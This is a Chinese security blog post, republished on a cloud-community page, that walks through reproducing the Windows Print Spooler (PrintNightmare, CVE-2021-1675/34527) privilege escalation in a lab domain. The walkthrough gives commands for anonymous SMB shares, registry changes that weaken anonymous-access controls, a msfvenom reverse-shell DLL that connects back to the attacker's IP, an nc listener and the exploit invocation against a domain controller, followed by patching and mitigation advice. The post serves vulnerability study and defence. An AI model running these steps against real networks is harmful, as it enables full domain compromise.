前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-1675/34527:Windows Print Spooler权限提升复现

CVE-2021-1675/34527:Windows Print Spooler权限提升复现

作者头像
Timeline Sec
发布2021-08-20 16:04:10
3.2K1
发布2021-08-20 16:04:10
举报
文章被收录于专栏:Timeline SecTimeline Sec

作者:shiyi@Timeline Sec

本文字数:1191

阅读时长:3~4min

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中。

0x02 漏洞概述

攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序,若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。

0x03 影响版本

代码语言:javascript
复制
* Windows Server 2019 (Server Core installation)  
* Windows Server 2012 R2 (Server Core installation)
* Windows Server 2012 R2
* Windows Server 2012 (Server Core installation)
* Windows Server 2012
* Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
* Windows RT 8.1
* Windows 8.1 for x64-based systems
* Windows 8.1 for 32-bit systems
* Windows 7 for x64-based Systems Service Pack 1
* Windows 7 for 32-bit Systems Service Pack 1
* Windows 10 Version 1607 for x64-based Systems
* Windows 10 Version 1607 for 32-bit Systems

0x04 环境搭建

目标域:

Windows Server 2019域环境 ( test.com ) IP:192.168.3.3 攻击机:Kali-2021 IP:192.168.3.55 普通域账户密码: win10/windows10>?impact包: https://github.com/cube0x0/impacket

代码语言:javascript
复制
代码语言:javascript
复制

Linux配置smb匿名访问:

1、修改/etc/samba/smb.conf文件

代码语言:javascript
复制
[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445
[smb]
    comment = Samba
    path = /usr/share2    
    guest ok = yes
    read only = no
    browsable = yes

PS:

对于 [global] 只需要把 idmap config * : backend = tdb 前面的分号删掉,然后再添加一条 smb ports = 445 即可,其他项都是默认的,最后把整个 [smb] 添加上去

2、重启samba

代码语言:javascript
复制
service smbd restart

3、创建共享文件夹

代码语言:javascript
复制
mkdir /usr/share2

Windows配置匿名访问:

代码语言:javascript
复制
mkdir C:\share
icacls C:\share\ /T /grant "ANONYMOUS LOGON":r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'(powershell下运行不适合win7)
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f

0x05 漏洞复现

1、安装impact包

代码语言:javascript
复制
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

2、Kali生成恶意dll文件

代码语言:javascript
复制
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.3.55 LPORT=4444 -f dll -o /usr/share2/shell.dll

3、msf或者nc开启监听

代码语言:javascript
复制
msf 和 nc开启监听都可以 
nc -lnvp 4444

4、执行exp

代码语言:javascript
复制
exp地址:https://github.com/cube0x0/CVE-2021-1675
python3 CVE-2021-1675.py test.com/win10:"windows10>?"@192.168.3.3 '\\192.168.3.55\smb\shell.dll'

虽然报错了 但是已经收到了shell

0x06 修复建议

1.官方建议:

目前官方已发布漏洞修复补丁,建议受影响用户尽快更新漏洞补丁。

代码语言:javascript
复制
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

2. 临时防护措施:

若相关用户暂时无法进行补丁更新,可通过禁用Print Spooler服务来进行缓解:

1)在服务应用(services.msc)中找到Print Spooler服务。

2)停止运行服务,同时将“启动类型”修改为“禁用”。

**坑点**

1、windows defender 关闭

defender没关闭之前,exp一直失败,然后就尝试关闭defender,就可以成功(dll未免杀的原因)。

2、windows共享利用失败

在windows上测试开启共享之后,能够在域控上匿名访问到共享文件,但是exp一直失败。

代码语言:javascript
复制
参考链接:

https://github.com/cube0x0/CVE-2021-1675

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-08-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、安装impact包
  • 2、Kali生成恶意dll文件
  • 3、msf或者nc开启监听
  • 4、执行exp
  • **坑点**
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档